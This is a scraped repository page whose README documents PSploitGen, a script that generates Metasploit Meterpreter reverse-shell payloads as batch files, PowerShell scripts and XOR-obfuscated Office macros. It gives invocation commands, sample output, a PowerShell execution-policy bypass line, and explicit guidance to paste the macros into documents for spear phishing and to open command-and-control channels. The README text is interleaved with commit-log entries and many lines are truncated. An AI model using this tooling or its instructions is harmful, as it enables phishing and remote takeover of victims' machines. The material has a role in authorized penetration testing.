Atlassian Bitbucket Features Pricing Find a repository… ? English Sign up Log in

jsthyer
PSploitGen

ACTIONS

- Clone
- Compare
- Fork

NAVIGATION

- Overview
- Source
- Commits
- Branches
- Pull requests
- Downloads

«

Overview

HTTPS https://bitbucket.org/jsthyer/psploi

Last updated Language Access level

1 Branch	0 Tags
2 Forks	5 Watchers

PSploitGen.py

This python script generates metasploit shellcode payloads in Windows batch file format, powershell script format, and MS-Office visual basic macro format. The default metasploit payloads are:

- windows/meterpreter/reverse_tcp
- windows/x64/meterpreter/reverse_tcp

If TCP port 443 is specified, the script will automatically generate an HTTPS payload also using 'windows/meterpreter/reverse_https'. The script will accept multiple TCP ports which are comma delimitered.

Usage

```
$ ./psploitgen.py --lhost 10.10.10.10 --lport 22,
```

The visual basic payload for MS-Office is special in that it will perform significant obfuscation using an XOR function with highly random key for all the powershell command syntax, and also using very highly randomized VBA variable names. The random strings are generate every single time a payload is generated.

The key idea of the MS-Office payloads is to copy and paste into a document of choice, and use for exploit laden spear phishing.

Example

```
# ./psploitgen.py --lhost 10.10.1.181 --lport 443
[*]-----------------------------------------
[*] PSploitGen Version [20140918_1129]
[*] Author: Joff Thyer (c) 2014
[*]-----------------------------------------
[*] LHOST.....: 10.10.1.181
[*] LPORT.....: [443]
[*] PAYLOADS..:
[+]    windows/meterpreter/reverse_tcp
[+]    windows/x64/meterpreter/reverse_tcp
[+]    windows/meterpreter/reverse_https
[*]-----------------------------------------
[*] msfvenom -p windows/meterpreter/reverse_tcp L
[*] Creating [ps-10.10.1.181-x86-meter-rtcp443.ba
[*] Creating [ps-10.10.1.181-x86-meter-rtcp443.ps
[*] Creating [ps-10.10.1.181-x86-meter-rtcp443.vb
[*] msfvenom -p windows/x64/meterpreter/reverse_t
[*] Creating [ps-10.10.1.181-x64-meter-rtcp443.ba
[*] Creating [ps-10.10.1.181-x64-meter-rtcp443.ps
[*] msfvenom -p windows/meterpreter/reverse_https
[*] Creating [ps-10.10.1.181-x86-meter-rhttps443.
[*] Creating [ps-10.10.1.181-x86-meter-rhttps443.
[*] Creating [ps-10.10.1.181-x86-meter-rhttps443.
```

Post exploitation usage

The idea of both the powershell script and the batch script is that in a post exploitation context, you would upload the script to the remote host, and use it to

Recent activity

1 commit
Pushed to jsthyer/psploitgen
0c82a22 modified for forked repo
Joff Thyer · 2015-02-06

1 commit
Pushed to jsthyer/psploitgen
4073ef7 modified batch architecture check
Joff Thyer · 2014-09-30

1 commit
Pushed to jsthyer/psploitgen
d1bbcf1 minor change
Joff Thyer · 2014-09-20

1 commit
Pushed to jsthyer/psploitgen
7d452b2 updated payload handling
Joff Thyer · 2014-09-19

1 commit
Pushed to jsthyer/psploitgen
cb337e6 added Invoke-ShellcodeMSIL and…
Joff Thyer · 2014-09-19

1 commit
Pushed to jsthyer/psploitgen
b42578b added --norandvar option and upd…
Joff Thyer · 2014-09-18

1 commit
Pushed to jsthyer/psploitgen
d2fb88e cleaned up output
Joff Thyer · 2014-09-17

1 commit
Pushed to jsthyer/psploitgen
22eb097 better error handling
Joff Thyer · 2014-09-17

1 commit
Pushed to jsthyer/psploitgen
2dfc398 extra error checking
Joff Thyer · 2014-09-17

1 commit
Pushed to jsthyer/psploitgen
1a22068 flake8 linted
Joff Thyer · 2014-09-17

1 commit
Pushed to jsthyer/psploitgen
4e98a31 corrected some regex issues

establish a command and control channel back to your metasploit listener.

Joff Thyer · 2014-09-13

For example:

```
C:\> powershell -exec bypass -file ps-10.10.10.10
```

output filename convention

The output script files are generated with a convention that looks as follows:

```
ps-<ipaddr>-<arch>-<payload>-<proto><port>.(bat|v
```

powershell payload

Each one of the different payload formats stem from a common use of the PowerSploit project, specifically the "Invoke-Shellcode" cmdlet within that project. During code generation, the invoke shellcode cmdlet will be downloaded from the PowerSploit github site. If unavailable, a local copy will be used.

Whether powershell is executed from command line, batch file, or from an MS-Office document, the payload will be passed as a string of bytes. The powershell function will dynamically allocate an executable memory segment and create the thread with an assembly stub in RAM.

System Architecture

Powershell running natively under 64-bit systems will not execute a 32-bit shellcode payload, and neither will powershell running under 32-bit execute a 64-bit payload. The default path statements will execute the O/S native version of powershell. The generated batch files will perform an architecture check for you.

Sponsors

Black Hills Information Security